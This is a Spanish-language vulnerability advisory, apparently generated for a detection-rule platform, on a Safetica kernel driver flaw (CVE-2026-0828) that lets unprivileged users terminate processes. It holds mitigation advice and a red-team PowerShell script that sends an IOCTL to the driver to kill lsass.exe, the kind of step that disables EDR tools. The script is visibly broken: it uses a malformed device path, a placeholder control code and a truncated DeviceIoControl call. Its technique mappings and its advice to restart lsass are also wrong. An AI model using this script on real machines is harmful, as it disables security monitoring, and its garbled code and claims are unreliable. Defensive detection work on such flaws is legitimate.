Safetica contiene una vulnerabilidad en el controlador del kernel

Resumen

Una falla en el controlador de kernel ProcessMonitorDriver.sys de Safetica permite a un usuario sin privilegios abusar de una interfaz IOCTL para terminar procesos del sistema arbitrarios. Esto puede habilitar la denegación de servicio y la interrupción de herramientas de seguridad en los puntos extremos afectados. El problema puede ser explotado para eliminar agentes EDR y otros servicios críticos, reduciendo rápidamente la cobertura defensiva. Actualmente, no hay un parche del proveedor disponible.

Investigación

El informe documenta CVE-2026-0828 en ProcessMonitorDriver.sys a través de versiones del cliente Safetica DLP. Muestra que una validación de entrada débil permite que la terminación del proceso ocurra con privilegios de controlador elevados a través de llamadas IOCTL manipuladas. Se enfatiza el impacto en el monitoreo de seguridad de endpoint.

Mitigación

Monitoree llamadas IOCTL sospechosas al controlador, confíe en EDR o telemetría de host y restrinja el acceso al controlador utilizando la Política de Grupo de Windows, WDAC o AppLocker. Hasta que se publique una solución, bloquee binarios no confiables de interactuar con ProcessMonitorDriver.sys.

Respuesta

Detecte actividad IOCTL anormal dirigida a ProcessMonitorDriver.sys, aísle los sistemas afectados y aplique controles de políticas para denegar el acceso al controlador. Aumente el registro, alerte sobre interacciones sin privilegios y considere deshabilitar el controlador como una solución temporal.

Ejecución de Simulación

Requisito Previo: La Comprobación de Telemetría y Línea de Base debe haber sido pasada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa de Ataque y Comandos:
  El operador del equipo rojo intenta abusar del vulnerable ProcessMonitorDriver.sys controlador para terminar un proceso de alto privilegio arbitrario (lsass.exe). Lo logran creando una carga útil IOCTL maliciosa que instruye al controlador a cerrar el handle del PID objetivo, desviando así el flujo de ejecución (T1574) y evadiendo mecanismos de defensa típicos (T1211). Los pasos son:

  1. Resolver el PID de lsass.exe.
  2. Abrir un handle al controlador vulnerable (.ProcessMonitorDriver).
  3. Construir un búfer IOCTL que contenga el PID objetivo y un código de comando que active la terminación del proceso.
  4. Invocar DeviceIoControl con un código de control malicioso (0xdeadbeef).
  5. Cerrar el handle del controlador.

• Script de Prueba de Regresión:

  # Simulación de Explotación para ProcessMonitorDriver.sys (CVE‑2026‑0828)
  # -------------------------------------------------------------
  # Este script envía un IOCTL malicioso al controlador vulnerable para
  # terminar el proceso LSASS, generando el evento Sysmon EventID 10
  # que la regla de detección observa.
  
  # 1. Ubicar PID de LSASS
  $targetProcess = Get-Process -Name lsass -ErrorAction Stop
  $targetPid = $targetProcess.Id
  Write-Host "PID objetivo (lsass): $targetPid"
  
  # 2. Abrir un handle al controlador
  $driverPath = ".ProcessMonitorDriver"
  $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
  $handle = $file.SafeFileHandle
  
  # 3. Construir el búfer IOCTL malicioso (PID + datos de relleno)
  $bufferSize = 8
  $buffer = New-Object byte[] $bufferSize
  [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
  [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # relleno
  
  # 4. Definir el código IOCTL malicioso (ejemplo: 0xdeadbeef)
  $ioctlCode = 0xdeadbeef
  
  # 5. Invocar DeviceIoControl mediante P/Invoke
  $signature = @"
  using System;
  using System.Runtime.InteropServices;
  public class NativeMethods {
      [DllImport("kernel32.dll", SetLastError = true)]
      public static extern bool DeviceIoControl(
          IntPtr hDevice,
          uint dwIoControlCode,
          byte[] lpInBuffer,
          int nInBufferSize,
          byte[] lpOutBuffer,
          int nOutBufferSize,
          out int lpBytesReturned,
          IntPtr lpOverlapped);
  }
  "@
  Add-Type $signature
  
  $bytesReturned = 0
  $outBuffer = New-Object byte[] 0
  $resultado = [NativeMethods]::DeviceIoControl(
                $handle,
                $ioctlCode,
                $buffer,
                $buffer.Length,
                $outBuffer,
                0,
                [ref]$bytesReturned,
  
  if ($resultado) {
      Write-Host "IOCTL enviado exitosamente – puede haber ocurrido la terminación de LSASS."
  } else {
      $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
      Write-Error "DeviceIoControl falló (Error $err)."
  }
  
  # 6. Limpieza
  $file.Close()

• Comandos de Limpieza:

  # Eliminar cualquier handle del controlador restante (mejor esfuerzo)
  # Asegúrese de que LSASS se reinicie si fue terminado (para un laboratorio seguro)
  if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
      Write-Host "LSASS sigue en ejecución – no se necesita limpieza."
  } else {
      Write-Host "Reiniciando LSASS (requiere privilegios de administrador)…"
      # En una máquina de prueba puede reiniciar o usar un cmdlet para reiniciar el servicio
      # Restart-Service -Name "lsass" -Force
  }